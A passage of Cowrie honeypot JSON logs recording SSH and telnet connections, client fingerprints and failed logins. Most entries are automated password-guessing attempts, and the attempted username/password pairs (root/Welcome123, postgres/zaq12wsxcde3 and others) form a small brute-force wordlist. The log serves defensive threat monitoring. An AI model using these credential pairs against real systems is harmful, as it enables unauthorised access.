{"eventid":"cowrie.session.closed","duration":36.53408885002136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:51.258145Z","src_ip":"20.123.41.163","session":"635050ec7b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.867711782455444,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:52.989195Z","src_ip":"200.192.151.230","session":"31493d239e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48478,"dst_ip":"159.203.135.109","dst_port":22,"session":"61de2a259e29","protocol":"ssh","message":"New connection: 45.156.87.254:48478 (159.203.135.109:22) [session: 61de2a259e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:54.525435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:54.530469Z","src_ip":"45.156.87.254","session":"61de2a259e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:54.615038Z","src_ip":"45.156.87.254","session":"61de2a259e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:54.974146Z","src_ip":"45.156.87.254","session":"61de2a259e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"d272b139a7c6","protocol":"telnet","message":"New connection: 20.123.41.163:49008 (10.17.0.5:23) [session: d272b139a7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:55.559152Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49018,"dst_ip":"10.17.0.5","dst_port":23,"session":"318c0dd49409","protocol":"telnet","message":"New connection: 20.123.41.163:49018 (10.17.0.5:23) [session: 318c0dd49409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:55.654334Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:56.060316Z","src_ip":"45.156.87.254","session":"61de2a259e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39678,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b9806ca5f98","protocol":"ssh","message":"New connection: 45.156.87.254:39678 (159.203.135.109:22) [session: 3b9806ca5f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:59.757322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:59.763524Z","src_ip":"45.156.87.254","session":"3b9806ca5f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:59.852740Z","src_ip":"45.156.87.254","session":"3b9806ca5f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:00.110186Z","src_ip":"45.156.87.254","session":"3b9806ca5f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:01.200011Z","src_ip":"45.156.87.254","session":"3b9806ca5f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39696,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5de5266f26","protocol":"ssh","message":"New connection: 45.156.87.254:39696 (159.203.135.109:22) [session: ef5de5266f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:04.947594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:04.952720Z","src_ip":"45.156.87.254","session":"ef5de5266f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:05.035802Z","src_ip":"45.156.87.254","session":"ef5de5266f26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:05.299938Z","src_ip":"45.156.87.254","session":"ef5de5266f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:06.387604Z","src_ip":"45.156.87.254","session":"ef5de5266f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54276,"dst_ip":"159.203.135.109","dst_port":22,"session":"42ac6aa681a6","protocol":"ssh","message":"New connection: 45.156.87.254:54276 (159.203.135.109:22) [session: 42ac6aa681a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:10.301111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:10.306199Z","src_ip":"45.156.87.254","session":"42ac6aa681a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:10.394363Z","src_ip":"45.156.87.254","session":"42ac6aa681a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:10.664072Z","src_ip":"45.156.87.254","session":"42ac6aa681a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:11.755963Z","src_ip":"45.156.87.254","session":"42ac6aa681a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54292,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4be1ceed690","protocol":"ssh","message":"New connection: 45.156.87.254:54292 (159.203.135.109:22) [session: c4be1ceed690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:16.238297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:16.247031Z","src_ip":"45.156.87.254","session":"c4be1ceed690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:16.374350Z","src_ip":"45.156.87.254","session":"c4be1ceed690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:16.732035Z","src_ip":"45.156.87.254","session":"c4be1ceed690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.615896463394165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:17.641696Z","src_ip":"104.245.105.2","session":"01b7d6f082dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:17.827191Z","src_ip":"45.156.87.254","session":"c4be1ceed690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"19399e18a2aa","protocol":"telnet","message":"New connection: 20.123.41.163:37382 (10.17.0.5:23) [session: 19399e18a2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:19.405222Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51240,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cafa771fea7","protocol":"ssh","message":"New connection: 45.156.87.254:51240 (159.203.135.109:22) [session: 6cafa771fea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:21.893350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:21.903061Z","src_ip":"45.156.87.254","session":"6cafa771fea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:21.977516Z","src_ip":"45.156.87.254","session":"6cafa771fea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:22.301821Z","src_ip":"45.156.87.254","session":"6cafa771fea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:23.391778Z","src_ip":"45.156.87.254","session":"6cafa771fea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.813603639602661,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:24.218712Z","src_ip":"20.123.41.163","session":"19399e18a2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9eebd3064cd","protocol":"ssh","message":"New connection: 185.16.214.226:49634 (10.17.0.5:22) [session: c9eebd3064cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:25.556785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:25.563647Z","src_ip":"185.16.214.226","session":"c9eebd3064cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:25.689024Z","src_ip":"185.16.214.226","session":"c9eebd3064cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:26.222439Z","src_ip":"185.16.214.226","session":"c9eebd3064cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a652ffcb01","protocol":"ssh","message":"New connection: 45.156.87.254:51258 (159.203.135.109:22) [session: c1a652ffcb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:26.896567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:26.902010Z","src_ip":"45.156.87.254","session":"c1a652ffcb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:26.984841Z","src_ip":"45.156.87.254","session":"c1a652ffcb01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:27.235203Z","src_ip":"45.156.87.254","session":"c1a652ffcb01","protocol":"ssh"}
